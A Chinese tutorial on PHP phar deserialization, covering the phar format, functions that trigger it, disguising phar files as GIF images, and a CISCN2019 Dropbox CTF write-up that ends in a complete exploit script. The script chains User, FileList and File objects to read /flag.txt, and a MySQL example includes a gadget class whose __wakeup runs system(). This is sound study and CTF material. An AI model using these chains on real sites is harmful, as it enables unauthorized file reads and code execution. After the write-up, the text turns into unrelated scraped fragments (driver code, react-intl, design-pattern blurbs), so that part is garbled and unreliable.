0x00 phar反序列化
phar反序列化即在文件系统函数(file_exists()
、is_dir()
等)参数可控的情况下,配合phar://伪协议
,可以不依赖unserialize()
直接进行反序列化操作。
关于其他反序列化的总结,可以看我的这篇文章
0x01 原理
首先了解一下phar文件的结构,一个phar文件由四部分构成:
a stub :可以理解为一个标志,格式为xxx
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。
a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data ,这是上述攻击手法最核心的地方。
the file contents :被压缩文件的内容。
[optional] a signature for verifying Phar integrity (phar file format only):签名,放在文件末尾
0x02 demo
注意:如果想要生成Phar文件,要将php.ini
中的phar.readonly
选项设置为Off
,否则无法生成phar
文件。
class Test { }
$o = new Test ( ) ;
@unlink ( "phar.phar" ) ;
$phar = new Phar ( "phar.phar" ) ;
$phar - > startBuffering ( ) ;
$phar - > setStub ( "" ) ;
$phar - > setMetadata ( $o ) ;
$phar - > addFromString ( "test.txt" , "test" ) ;
$phar - > stopBuffering ( ) ;
?>
可以看到meta-data是以序列化的形式存储的:
0x03 影响的函数
知道创宇的seaii 更为我们指出了所有文件函数均可使用:
但实际上只要调用了php_stream_open_wrapper
的函数,都存在这样的问题。
因此还有如下函数:
exif
exif_thumbnail
exif_imagetype
gd
imageloadfont
imagecreatefrom
hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
file / url
get_meta_tags
get_headers
mime_content_type
standard
getimagesize
getimagesizefromstring
finfo
zip
$zip = new ZipArchive ( ) ;
$res = $zip - > open ( 'c.zip' ) ;
$zip - > extractTo ( 'phar://test.phar/test' ) ;
Postgres
$pdo = new PDO ( sprintf ( "pgsql:host=%s;dbname=%s;user=%s;password=%s" , "127.0.0.1" , "postgres" , "sx" , "123456" ) ) ;
@$pdo - > pgsqlCopyFromFile ( 'aa' , 'phar://test.phar/aa' ) ;
MySQL
LOAD DATA LOCAL INFILE
也会触发这个php_stream_open_wrapper
class A {
public $s = '' ;
public function __wakeup ( ) {
system ( $this - > s ) ;
}
}
$m = mysqli_init ( ) ;
mysqli_options ( $m , MYSQLI_OPT_LOCAL_INFILE , true ) ;
$s = mysqli_real_connect ( $m , 'localhost' , 'root' , '123456' , 'easyweb' , 3306 ) ;
$p = mysqli_query ( $m , 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;' ) ;
再配置一下mysqld。(非默认配置)
[ mysqld]
local- infile= 1
secure_file_priv= ""
0x04 Trick
(1)如果过滤了phar://
协议怎么办呢?
有以下几种方法可以绕过:
(2)除此之外,我们还可以将phar伪造成其他格式的文件。
php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。如下:
class TestObject {
}
@unlink ( "phar.phar" ) ;
$phar = new Phar ( "phar.phar" ) ;
$phar - > startBuffering ( ) ;
$phar - > setStub ( "GIF89a" . "" ) ;
$o = new TestObject ( ) ;
$phar - > setMetadata ( $o ) ;
$phar - > addFromString ( "test.txt" , "test" ) ;
$phar - > stopBuffering ( ) ;
?>
可以看到加了GIF89a文件头,从而使其伪装成gif文件:
0x05 实例分析
CISCN2019 Dropbox
进入题目后,注册一个账号并登录,发现是一个网盘界面,限制了只能上传图片后缀,并能进行下载、删除操作: 没有其他什么利用点,我们抓一下下载的包: 发现可以成功读取到文件的内容,于是尝试任意文件下载:
确认存在任意文件下载,upload.php
、class.php
、download.php
、index.php
、login.php
、register.php
均可以下载得到源码,下面就是进行代码审计了。
session_start ( ) ;
if ( ! isset ( $_SESSION [ 'login' ] ) ) {
header ( "Location: login.php" ) ;
die ( ) ;
}
if ( ! isset ( $_POST [ 'filename' ] ) ) {
die ( ) ;
}
include "class.php" ;
ini_set ( "open_basedir" , getcwd ( ) . ":/etc:/tmp" ) ;
chdir ( $_SESSION [ 'sandbox' ] ) ;
$file = new File ( ) ;
$filename = ( string) $_POST [ 'filename' ] ;
if ( strlen ( $filename ) < 40 && $file - > open ( $filename ) && stristr ( $filename , "flag" ) === false ) {
Header ( "Content-type: application/octet-stream" ) ;
Header ( "Content-Disposition: attachment; filename=" . basename ( $filename ) ) ;
echo $file - > close ( ) ;
} else {
echo "File not exist" ;
}
?>
=
在download.php
中我们可以看到它过滤了flag
,这反而说明了flag
就在当前目录下,但是不允许通过任意文件下载读取。
继续审计,发现在class.php
中File
类的close
方法有敏感函数file_get_contents()
,这里应该就是利用点。
error_reporting ( 0 ) ;
$dbaddr = "127.0.0.1" ;
$dbuser = "root" ;
$dbpass = "root" ;
$dbname = "dropbox" ;
$db = new mysqli ( $dbaddr , $dbuser , $dbpass , $dbname ) ;
class User {
public $db ;
public function __construct ( ) {
global $db ;
$this - > db = $db ;
}
public function user_exist ( $username ) {
$stmt = $this - > db - > prepare ( "SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;" ) ;
$stmt - > bind_param ( "s" , $username ) ;
$stmt - > execute ( ) ;
$stmt - > store_result ( ) ;
$count = $stmt - > num_rows ;
if ( $count === 0 ) {
return false ;
}
return true ;
}
public function add_user ( $username , $password ) {
if ( $this - > user_exist ( $username ) ) {
return false ;
}
$password = sha1 ( $password . "SiAchGHmFx" ) ;
$stmt = $this - > db - > prepare ( "INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);" ) ;
$stmt - > bind_param ( "ss" , $username , $password ) ;
$stmt - > execute ( ) ;
return true ;
}
public function verify_user ( $username , $password ) {
if ( ! $this - > user_exist ( $username ) ) {
return false ;
}
$password = sha1 ( $password . "SiAchGHmFx" ) ;
$stmt = $this - > db - > prepare ( "SELECT `password` FROM `users` WHERE `username` = ?;" ) ;
$stmt - > bind_param ( "s" , $username ) ;
$stmt - > execute ( ) ;
$stmt - > bind_result ( $expect ) ;
$stmt - > fetch ( ) ;
if ( isset ( $expect ) && $expect === $password ) {
return true ;
}
return false ;
}
public function __destruct ( ) {
$this - > db - > close ( ) ;
}
}
class FileList {
private $files ;
private $results ;
private $funcs ;
public function __construct ( $path ) {
$this - > files = array ( ) ;
$this - > results = array ( ) ;
$this - > funcs = array ( ) ;
$filenames = scandir ( $path ) ;
$key = array_search ( "." , $filenames ) ;
unset ( $filenames [ $key ] ) ;
$key = array_search ( ".." , $filenames ) ;
unset ( $filenames [ $key ] ) ;
foreach ( $filenames as $filename ) {
$file = new File ( ) ;
$file - > open ( $path . $filename ) ;
array_push ( $this - > files , $file ) ;
$this - > results [ $file - > name ( ) ] = array ( ) ;
}
}
public function __call ( $func , $args ) {
array_push ( $this - > funcs , $func ) ;
foreach ( $this - > files as $file ) {
$this - > results [ $file - > name ( ) ] [ $func ] = $file - > $func ( ) ;
}
}
public function __destruct ( ) {
$table = '';
$table . = '';
foreach ( $this - > funcs as $func ) {
$table . = ' ' . htmlentities ( $func ) . ' ';
}
$table . = ' Opt ';
$table . = ' ';
foreach ( $this - > results as $filename = > $result ) {
$table . = '';
foreach ( $result as $func = > $value ) {
$table . = ' ' . htmlentities ( $value ) . ' ';
}
$table . = ' . htmlentities ( $filename ) . '">下载 / 删除 ';
$table . = ' ' ;
}
echo $table ;
}
}
class File {
public $filename ;
public function open ( $filename ) {
$this - > filename = $filename ;
if ( file_exists ( $filename ) && ! is_dir ( $filename ) ) {
return true ;
} else {
return false ;
}
}
public function name ( ) {
return basename ( $this - > filename ) ;
}
public function size ( ) {
$size = filesize ( $this - > filename ) ;
$units = array ( ' B' , ' KB' , ' MB' , ' GB' , ' TB' ) ;
for ( $i = 0 ; $size >= 1024 && $i < 4 ; $i ++ ) $size / = 1024 ;
return round ( $size , 2 ) . $units [ $i ] ;
}
public function detele ( ) {
unlink ( $this - > filename ) ;
}
public function close ( ) {
return file_get_contents ( $this - > filename ) ;
}
}
?>
下面要思考的就是如何才能利用到这个函数,看到这些类以及魔术方法,不难想到应该是使用PHP反序列化来读取文件。
但是发现整个代码里没有使用unserialize()
函数,这时就要利用上面的Phar反序列化,我们寻找利用点。
在delete.php
中:
session_start ( ) ;
if ( ! isset ( $_SESSION [ 'login' ] ) ) {
header ( "Location: login.php" ) ;
die ( ) ;
}
if ( ! isset ( $_POST [ 'filename' ] ) ) {
die ( ) ;
}
include "class.php" ;
chdir ( $_SESSION [ 'sandbox' ] ) ;
$file = new File ( ) ;
$filename = ( string) $_POST [ 'filename' ] ;
if ( strlen ( $filename ) < 40 && $file - > open ( $filename ) ) {
$file - > detele ( ) ;
Header ( "Content-type: application/json" ) ;
$response = array ( "success" = > true , "error" = > "" ) ;
echo json_encode ( $response ) ;
} else {
Header ( "Content-type: application/json" ) ;
$response = array ( "success" = > false , "error" = > "File not exist" ) ;
echo json_encode ( $response ) ;
}
?>
可以看到创建了一个File
类的对象,然后调用了open()
方法,参数就是我们要删除的文件名,我们去看一下这个open()
方法:
public function open ( $filename ) {
$this - > filename = $filename ;
if ( file_exists ( $filename ) && ! is_dir ( $filename ) ) {
return true ;
} else {
return false ;
}
}
使用了file_exists()
和is_dir()
处理了filename
,而前面总结过,这两个函数都可以造成phar反序列化。
这样这题的思路就清楚了,即利用phar反序列化控制file_get_contents
来读取flag.txt
于是我们来审计class.php
构造序列化脚本,首先找一下有哪些魔术方法,看到User类中__destruct()
调用了同名的close()
方法,而FileList类中有__call()
方法。
熟悉反序列化的应该很容易看出来:将User类的$db
实例化为FIleLise的对象,这样当析构函数被调用的时候,就会调用FileList类的close()
方法,而FileList类并没有该方法,于是调用__call()
方法,观察一下__call
方法:
public function __call ( $func , $args ) {
array_push ( $this - > funcs , $func ) ;
foreach ( $this - > files as $file ) {
$this - > results [ $file - > name ( ) ] [ $func ] = $file - > $func ( ) ;
}
}
调用后相当于把close
传给了参数$func
,然后遍历$files
分别调用每个值的$func()
方法,这里也就是调用close()
,并将结果赋给result
。 所以只需要$files
里有一个File类的对象,就能调用File类中的close()
方法了,再将File类的filename
赋为/flag.txt
即可将结果读出来,然后在FileList类的__destruct()
方法中会result
的结果打印出来。
最终脚本如下:
class User
{
public $db ;
public function __construct ( )
{
$this - > db = new FileList ;
}
}
class FileList
{
private $files ;
private $results ;
private $funcs ;
public function __construct ( )
{
$file = new File ;
$this - > files = array ( $file ) ;
$this - > results = array ( ) ;
$this - > funcs = array ( ) ;
}
}
class File
{
public $filename ;
public function __construct ( )
{
$this - > filename = '/flag.txt' ;
}
}
$o = new User ( ) ;
@unlink ( "shell.phar" ) ;
$phar = new Phar ( "shell.phar" ) ;
$phar - > startBuffering ( ) ;
$phar - > setStub ( "" ) ;
$phar - > setMetadata ( $o ) ;
$phar - > addFromString ( "test.txt" , "test" ) ;
$phar - > stopBuffering ( ) ;
运行得到shell.phar
,改后缀为png上传: 在删除的时候抓包,并加上phar://
伪协议,然后发包即可成功读到flag:
本篇文章以总结为主,所以部分内容参考了下列文章: https://paper.seebug.org/680/ https://blog.zsxsoft.com/post/38 https://xz.aliyun.com/t/6057
你可能感兴趣的:(CTF)
ARM驱动学习之4小结
JT灬新一
嵌入式 C++ arm开发 学习 linux
ARM驱动学习之4小结#include#include#include#include#include#defineDEVICE_NAME"hello_ctl123"MODULE_LICENSE("DualBSD/GPL");MODULE_AUTHOR("TOPEET");staticlonghello_ioctl(structfile*file,unsignedintcmd,unsignedlo
react-intl——react国际化使用方案
苹果酱0567
面试题汇总与解析 java 开发语言 中间件 spring boot 后端
国际化介绍i18n:internationalization国家化简称,首字母+首尾字母间隔的字母个数+尾字母,类似的还有k8s(Kubernetes)React-intl是React中最受欢迎的库。使用步骤安装#usenpmnpminstallreact-intl-D#useyarn项目入口文件配置//index.tsximportReactfrom"react";importReactDOMf
Linux CTF逆向入门
蚁景网络安全
linux 运维 CTF
1.ELF格式我们先来看看ELF文件头,如果想详细了解,可以查看ELF的manpage文档。关于ELF更详细的说明:e_shoff:节头表的文件偏移量(字节)。如果文件没有节头表,则此成员值为零。sh_offset:表示了该section(节)离开文件头部位置的距离+-------------------+|ELFheader|---++--------->+-------------------
Windows安装ciphey编码工具,附一道ciscn编码题例
im-Miclelson
CTF工具 网络安全
TA是什么一款智能化的编码分析解码工具,对于CTF中复杂性编码类题目可以快速攻破。编码自动分析解码的神器。如何安装Windows环境Python3.864位(最新的版本不兼容,32位的也不行)PIP直接安装pipinstallciphey-ihttps://pypi.mirrors.ustc.edu.cn/simple/安装后若是出现报错请根据错误代码行数找到对应文件,r修改成rb即可。使用标准语
2005年高考英语北京卷 - 阅读理解C
让文字更美
Howcouldwepossiblythinkthatkeepinganimalsincagesinunnaturalenvironments-mostlyforentertainmentpurposes-isfairandrespectful?我们怎么可能认为把动物关在非自然环境的笼子里——主要是为了娱乐目的——是公平和尊重的呢?Zooofficialssaytheyareconcernedab
CTF-bugku-crypto-[7+1+0]-base64解码之后做偏移
沧海一粟日尽其用
算法 安全 python
CTF-bugku-crypto-[7+1+0]-base64解码之后做偏移1.题目2.解题思路2.1base64编码原理2.2解题思路2.2.1base64解码找规律2.2.2破解思路3.解题脚本4.flag5.附EASCII码表1.题目提示信息:7+1+0?格式bugku{xxxxx}密文:4nXna/V7t2LpdLI44mn0fQ==要求:破解密文获得flag2.解题思路2.1base64
CTF常见编码及加解密(超全)第二篇
不会代码的小徐
编码密码 网络安全 密码学 预编码
HTML实体编码简述:字符实体是用一个编号写入HTML代码中来代替一个字符,在使用浏览器访问网页时会将这个编号解析还原为字符以供阅读。举例:highlighter-HTML明文:hello,world.十进制:hello,world.十六进制:hel
CTF——web方向学习攻略
一则孤庸
CTF 网络安全 CTF
1计算机基础操作系统:熟悉Linux命令,方便使用Kali。网络技术:HCNA、CCNA。编程能力:拔高项,有更好。2web应用HTTP协议:必须掌握web开发框架web安全测试3数据库数据库基本操作SQL语句数据库优化4刷题
CTF——web总结
oliveira-time
ctf web安全
解题思路做题先看源码关注可下载的资源(zip压缩包)抓包寻找可能存在的加密信息(base64)不管三七二十一先扫描目录再说ps:正常的应该是先扫描目录,然后发现后台进行爆破,发现爆破困难,然后去社工找其他信息。CTF——web个人总结_ctfweb-CSDN博客
VueTreeselect el-tree-select 多选
小小并不小
Vue element js vue.js javascript
1、VueTreeselect是一个多选组件npminstall--save@riophae/vue-treeselect全部代码//importthecomponentimportTreeselectfrom'@riophae/vue-treeselect'//importthestylesimport'@riophae/vue-treeselect/dist/vue-treeselect.cs
ctf逆向解题——Bomb二进制炸弹
Funkypantss
BombPhase1在输入阶段将由文件输入的字符存储在input中,在phase1,该阶段将原字符串存储到rdi中,调用pases_1函数进行字符串比较。image进入phase1函数,该函数将原字符串rdi与预先设定的字符串“BorderrelationswithCanadahaveneverbeenbetter.”(存储在rsi中)进行比较,用于比较的函数是strings_not_equal,
【CTF】MISC常用工具集锦/使用方法简介
不会代码的小徐
misc 网络安全 测试工具
前言#MISC题型多变而且工具繁杂,因此自己花时间整理了一份工具列表,以便日后参考用流畅地阅读这篇博客,你可能需要:Python2.7.18+Python3.8+任何一个更高版本的Python,使用conda管理Linux虚拟机,kali即可流畅访问Google/GitHub等站点的网络通用工具#PuzzleSolver#专为misc手打造的瑞士军刀(?),整合了多种脚本(base,字频分析,pn
网络安全的相关比赛有哪些?需要掌握哪些必备技能?
网安学习
web安全 安全 网络安全的相关比赛有哪
01、CTF(夺旗赛)这是一种最常见的网络安全竞技形式,要求参赛者在限定时间内解决一系列涉及密码学、逆向工程、漏洞利用、取证分析等领域的挑战,获取标志(flag)并提交得分。通过举办CTF来培养网络安全人才,已经发展成为了国际网络安全圈的共识。CTF赛事可以分为线上赛和线下赛,线上赛通常是解题模式(Jeopardy),线下赛通常是攻防模式(Attack-Defense)。CTF赛事的代表性线下赛事
第四部分:1---文件内核对象,文件描述符,输出重定向
S+叮当猫
Linux CentOS 算法 linux 服务器
目录structfile内核对象:如何读写文件?文件描述符在文件描述符表中的分配规则:输出重定向初步解析:dup2实现复制文件描述符:structfile内核对象:structfile是在内核空间中创建的用于描述文件的结构体,每当一个文件被打开时,内核会为该文件创建一个对应的structfile结构体,并在文件描述符表中为其分配一个文件描述符。基于文件的定义(文件=内容+属性),structfil
网络攻防WEB入门指南
youhao108
网络攻防 web 渗透测试 网络安全 网络攻防
网络攻防WEB入门指南(大佬绕路)文章目录前言学习网络攻防该如何入门前言我对网络攻防的理解,分为比赛和实战两个部分,两者所学习的知识虽有共通之处,但还是有很大区别,我也在向实战的状态转换,不过二者入门所要掌握的知识差别不大。下面主要从网络攻防竞赛角度,也就是知名的CTF夺旗赛,来谈谈网络攻防知识如何入门。学习网络攻防该如何入门常规CTF比赛主要分为线上做题,以及线下AWD攻防(AttackWith
软考 - 系统架构设计师 - 设计模式
小林想被监督学习
系统架构设计师 系统架构 设计模式
目录概念创建型设计模式抽象工厂模式(AbstractFactoryPattern)优点缺点应用场景总结构建器模式(BuilderPattern)优点缺点应用场景工厂方法模式(factorymethod)优点缺点应用场景原型模式(prototype)优点缺点应用场景单例模式(Singleton)优点缺点应用场景结构型设计模式适配器模式(Adapter)优点缺点应用场景桥接模式(Bridge)优点缺点
ctfshow web入门 ssrf web351~web360
kikkeve
ctfshow php web安全 安全
目录SSRF基础web351web352、353web354web355web356web357web358web359web360SSRF基础SSRF(Server-SideRequestForgery:服务器端请求伪造)就是让服务器去请求服务器的资源,因为我们远程请求不到。curl_init():初始curl会话curl_setopt():会话设置curl_exec():执行curl会话,获取
flutter 一键打出不同包名、应用名、版本名、签名、应用图标、版本号的安装包
Sindyue
flutter
1.build.gradle文件中配置不同的应用信息flavorDimensions"app"productFlavors{app1{//配置包名manifestPlaceholders=[str:"releaseStr",package_name:"com.example.demo1"]applicationId"com.example.demo1"versionCode1versionName
CTF 竞赛密码学方向学习路径规划
David Max
CTF 学习笔记 密码学 ctf 信息安全
目录计算机科学基础计算机科学概念的引入、兴趣的引导开发环境的配置与常用工具的安装WattToolkit(Steam++)、机场代理Scoop(Windows用户可选)常用Python库SageMathLinux小工具yafuOpenSSLMarkdown编程基础Python其他编程语言、算法与数据结构(可选)数学基础离散数学与抽象代数复杂性分析密码学的正式学习兴趣的培养做题小技巧系统学习需要了解并
MySQL8.0新特性~最左前缀匹配原则被打破了
进击的CJR
mysql mysql
测试在MySQL8.0.25和mysql5.7.33中创建如下CREATETABLEt1(f1INTNOTNULL,f2INTNOTNULL,PRIMARYKEY(f1,f2));INSERTINTOt1VALUES(1,1),(1,2),(1,3),(1,4),(1,5),(2,1),(2,2),(2,3),(2,4),(2,5);INSERTINTOt1SELECTf1,f2+5FROMt1;
hackcon ctf 2018 | pwn wp
fantasy_learner
BOF漏洞点:栈溢出利用过程栈溢出跳转callMeMaybe函数获得flagexpSheSellsSeaShells90流程分析:给出了输入的栈地址有一个栈溢出点没有nx利用过程:根据以上三点,得出可以使用ret2shellcode使用shellcraft生成shellcode利用栈溢出,输入并跳转到shellcodeexpSimpleYetElegent150这道题目做了最久,卡在了能否根据_d
BUUCTF 2021-10-4 Pwn
Ch1lkat
BUUCTF Pwn linux pwn
文章目录保持手感echo分析EXPPwnme1分析EXPwdb_2018_1st_babyheap分析EXPFSOPhouseoforange_hitcon_2016分析前置知识House_of_orangeFSOPEXPzctf_2016_note3分析EXPgyctf_2020_document分析EXP动态调试复现护网杯_gettingstart分析EXPpicoctf_2018_buffe
C# 关于多线程同步不同实现方式
語衣
C# 知识补充 c# 开发语言
栏目总目录AutoResetEventclassMainClass{//thearrayofconsumerthreadsprivatestaticListconsumers=newList();//thetaskqueueprivatestaticQueuetasks=newQueue();//thesynchronisationobjectforlockingthetaskqueuepriva
Android里的设计模式
jim_dayday_up
# Android_基础知识 设计模式 java 开发语言
一:设计模式分类经典的23种设计模式是由ErichGamma、RichardHelm、RalphJohnson和JohnVlissides(合称“GangofFour”)在他们的书《设计模式:可复用面向对象软件的基础》中定义的。以下是这些设计模式的分类和简要介绍。1.1创建型模式单例模式(Singleton):确保一个类只有一个实例,并提供一个全局访问点。抽象工厂模式(AbstractFactor
软考——简单记忆设计模式
Yeira
设计模式 python java
抽象工厂模式(AbstractFactory):提供一个接口,可以创建一系列相关或相互依赖的对象,而无需指定它们具体的类。(一个接口创建相关对象,无需具体的类)构建器模式(Builder):将一个复杂类的表示与其构造相分离,使得相同的构建过程能够得出不同的表示。(相同是构造,不同的表示)工厂方法模式(FactoryMethod):定义一个创建对象的接口,但由子类决定需要实例化哪一个类。工厂方法使得
【软考】设计模式之抽象工厂模式
王佑辉
软考 设计模式 软考
目录1.说明2.应用场景3.结构图4.构成5.适用性6.优点7.缺点8.java示例1.说明1.提供一个创建一系列相关或相互依赖对象的接口,而无须指定它们具体的类。2.抽象工厂模式(AbstractFactoryPattern)是一种创建型设计模式。3.抽象工厂模式用于系统的产品族,而不仅仅是一个等级结构;一个等级的抽象类只能创建一个等级的产品,而抽象工厂模式能创建多个等级的产品。2.应用场景1.
30、基于SelectFromModel和LassoCV的特征选择
凌晨思索
30、基于SelectFromModel和LassoCV的特征选择importmatplotlib.pyplotaspltimportnumpyasnpfromsklearn.datasetsimportload_diabetesfromsklearn.feature_selectionimportSelectFromModelfromsklearn.linear_modelimportLasso
【鸿蒙HarmonyOS开发笔记】使用@Preview装饰器预览组件
Luxine.
鸿蒙HarmonyOS开发笔记 前端分享 笔记 华为 harmonyos
概述ArkTS应用/服务支持组件预览,要求compileSdkVersion为8或以上。组件预览支持实时预览,不支持动态图和动态预览。组件预览通过在组件前添加注解@Preview实现,在单个源文件中,最多可以使用10个@Preview装饰自定义组件。@Preview的使用参考如下示例@Preview({title:'FoodImage'})@ComponentstructFoodImageDisp
vue3+tesseract 图片文字提取
妙明元心
javascript vue.js ecmascript
github:https://github.com/naptha/tesseract.js可实现多语言识别,中英文混合识别demo如下:importTesseractfrom"tesseract.js"//方式1:Tesseract.recognize('http://localhost:5173/vue.jpg','eng+chi_sim',).then((d)=>{console.log(d.
iOS M1芯片Mac上Xcode模拟器报错解决
aven_kang
真机编译可以通过,模拟器失败,出现以下错误...,buildingforiOSSimulator,butlinkinginobjectfilebuiltforiOS,file'...'或者couldnotfindmodulefortarget'x86_64-apple-ios-simulator'解决方案一1.添加arm64到项目PEROJECT和TARGETS的ExcludedArchitect
矩阵求逆(JAVA)初等行变换
qiuwanchi
矩阵求逆(JAVA)
package gaodai.matrix;
import gaodai.determinant.DeterminantCalculation;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;
/**
* 矩阵求逆(初等行变换)
* @author 邱万迟
*
JDK timer
antlove
java jdk schedule code timer
1.java.util.Timer.schedule(TimerTask task, long delay):多长时间(毫秒)后执行任务
2.java.util.Timer.schedule(TimerTask task, Date time):设定某个时间执行任务
3.java.util.Timer.schedule(TimerTask task, long delay,longperiod
JVM调优总结 -Xms -Xmx -Xmn -Xss
coder_xpf
jvm 应用服务器
堆大小设置JVM 中最大堆大小有三方面限制:相关操作系统的数据模型(32-bt还是64-bit)限制;系统的可用虚拟内存限制;系统的可用物理内存限制。32位系统下,一般限制在1.5G~2G;64为操作系统对内存无限制。我在Windows Server 2003 系统,3.5G物理内存,JDK5.0下测试,最大可设置为1478m。
典型设置:
java -Xmx
JDBC连接数据库
Array_06
jdbc
package Util;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
public class JDBCUtil {
//完
Unsupported major.minor version 51.0(jdk版本错误)
oloz
java
java.lang.UnsupportedClassVersionError: cn/support/cache/CacheType : Unsupported major.minor version 51.0 (unable to load class cn.support.cache.CacheType)
at org.apache.catalina.loader.WebappClassL
用多个线程处理1个List集合
362217990
多线程 thread list 集合
昨天发了一个提问,启动5个线程将一个List中的内容,然后将5个线程的内容拼接起来,由于时间比较急迫,自己就写了一个Demo,希望对菜鸟有参考意义。。
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.CountDownLatch;
public c
JSP简单访问数据库
香水浓
sql mysql jsp
学习使用javaBean,代码很烂,仅为留个脚印
public class DBHelper {
private String driverName;
private String url;
private String user;
private String password;
private Connection connection;
privat
Flex4中使用组件添加柱状图、饼状图等图表
AdyZhang
Flex
1.添加一个最简单的柱状图
? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
<?xml version=
"1.0"&n
Android 5.0 - ProgressBar 进度条无法展示到按钮的前面
aijuans
android
在低于SDK < 21 的版本中,ProgressBar 可以展示到按钮前面,并且为之在按钮的中间,但是切换到android 5.0后进度条ProgressBar 展示顺序变化了,按钮再前面,ProgressBar 在后面了我的xml配置文件如下:
[html]
view plain
copy
<RelativeLa
查询汇总的sql
baalwolf
sql
select list.listname, list.createtime,listcount from dream_list as list , (select listid,count(listid) as listcount from dream_list_user group by listid order by count(
Linux du命令和df命令区别
BigBird2012
linux
1,两者区别
du,disk usage,是通过搜索文件来计算每个文件的大小然后累加,du能看到的文件只是一些当前存在的,没有被删除的。他计算的大小就是当前他认为存在的所有文件大小的累加和。
AngularJS中的$apply,用还是不用?
bijian1013
JavaScript AngularJS $apply
在AngularJS开发中,何时应该调用$scope.$apply(),何时不应该调用。下面我们透彻地解释这个问题。
但是首先,让我们把$apply转换成一种简化的形式。
scope.$apply就像一个懒惰的工人。它需要按照命
[Zookeeper学习笔记十]Zookeeper源代码分析之ClientCnxn数据序列化和反序列化
bit1129
zookeeper
ClientCnxn是Zookeeper客户端和Zookeeper服务器端进行通信和事件通知处理的主要类,它内部包含两个类,1. SendThread 2. EventThread, SendThread负责客户端和服务器端的数据通信,也包括事件信息的传输,EventThread主要在客户端回调注册的Watchers进行通知处理
ClientCnxn构造方法
&
【Java命令一】jmap
bit1129
Java命令
jmap命令的用法:
[hadoop@hadoop sbin]$ jmap
Usage:
jmap [option] <pid>
(to connect to running process)
jmap [option] <executable <core>
(to connect to a
Apache 服务器安全防护及实战
ronin47
此文转自IBM.
Apache 服务简介
Web 服务器也称为 WWW 服务器或 HTTP 服务器 (HTTP Server),它是 Internet 上最常见也是使用最频繁的服务器之一,Web 服务器能够为用户提供网页浏览、论坛访问等等服务。
由于用户在通过 Web 浏览器访问信息资源的过程中,无须再关心一些技术性的细节,而且界面非常友好,因而 Web 在 Internet 上一推出就得到
unity 3d实例化位置出现布置?
brotherlamp
unity教程 unity unity资料 unity视频 unity自学
问:unity 3d实例化位置出现布置?
答:实例化的同时就可以指定被实例化的物体的位置,即 position
Instantiate (original : Object, position : Vector3, rotation : Quaternion) : Object
这样你不需要再用Transform.Position了,
如果你省略了第二个参数(
《重构,改善现有代码的设计》第八章 Duplicate Observed Data
bylijinnan
java 重构
import java.awt.Color;
import java.awt.Container;
import java.awt.FlowLayout;
import java.awt.Label;
import java.awt.TextField;
import java.awt.event.FocusAdapter;
import java.awt.event.FocusE
struts2更改struts.xml配置目录
chiangfai
struts.xml
struts2默认是读取classes目录下的配置文件,要更改配置文件目录,比如放在WEB-INF下,路径应该写成../struts.xml(非/WEB-INF/struts.xml)
web.xml文件修改如下:
<filter>
<filter-name>struts2</filter-name>
<filter-class&g
redis做缓存时的一点优化
chenchao051
redis hadoop pipeline
最近集群上有个job,其中需要短时间内频繁访问缓存,大概7亿多次。我这边的缓存是使用redis来做的,问题就来了。
首先,redis中存的是普通kv,没有考虑使用hash等解结构,那么以为着这个job需要访问7亿多次redis,导致效率低,且出现很多redi
mysql导出数据不输出标题行
daizj
mysql 数据导出 去掉第一行 去掉标题
当想使用数据库中的某些数据,想将其导入到文件中,而想去掉第一行的标题是可以加上-N参数
如通过下面命令导出数据:
mysql -uuserName -ppasswd -hhost -Pport -Ddatabase -e " select * from tableName" > exportResult.txt
结果为:
studentid
phpexcel导出excel表简单入门示例
dcj3sjt126com
PHP Excel phpexcel
先下载PHPEXCEL类文件,放在class目录下面,然后新建一个index.php文件,内容如下
<?php
error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);
if (PHP_SAPI == 'cli')
die('
爱情格言
dcj3sjt126com
格言
1) I love you not because of who you are, but because of who I am when I am with you. 我爱你,不是因为你是一个怎样的人,而是因为我喜欢与你在一起时的感觉。 2) No man or woman is worth your tears, and the one who is, won‘t
转 Activity 详解——Activity文档翻译
e200702084
android UI sqlite 配置管理 网络应用
activity 展现在用户面前的经常是全屏窗口,你也可以将 activity 作为浮动窗口来使用(使用设置了 windowIsFloating 的主题),或者嵌入到其他的 activity (使用 ActivityGroup )中。 当用户离开 activity 时你可以在 onPause() 进行相应的操作 。更重要的是,用户做的任何改变都应该在该点上提交 ( 经常提交到 ContentPro
win7安装MongoDB服务
geeksun
mongodb
1. 下载MongoDB的windows版本:mongodb-win32-x86_64-2008plus-ssl-3.0.4.zip,Linux版本也在这里下载,下载地址: http://www.mongodb.org/downloads
2. 解压MongoDB在D:\server\mongodb, 在D:\server\mongodb下创建d
Javascript魔法方法:__defineGetter__,__defineSetter__
hongtoushizi
js
转载自: http://www.blackglory.me/javascript-magic-method-definegetter-definesetter/
在javascript的类中,可以用defineGetter和defineSetter_控制成员变量的Get和Set行为
例如,在一个图书类中,我们自动为Book加上书名符号:
function Book(name){
错误的日期格式可能导致走nginx proxy cache时不能进行304响应
jinnianshilongnian
cache
昨天在整合某些系统的nginx配置时,出现了当使用nginx cache时无法返回304响应的情况,出问题的响应头: Content-Type:text/html; charset=gb2312 Date:Mon, 05 Jan 2015 01:58:05 GMT Expires:Mon , 05 Jan 15 02:03:00 GMT Last-Modified:Mon, 05
数据源架构模式之行数据入口
home198979
PHP 架构 行数据入口
注:看不懂的请勿踩,此文章非针对java,java爱好者可直接略过。
一、概念
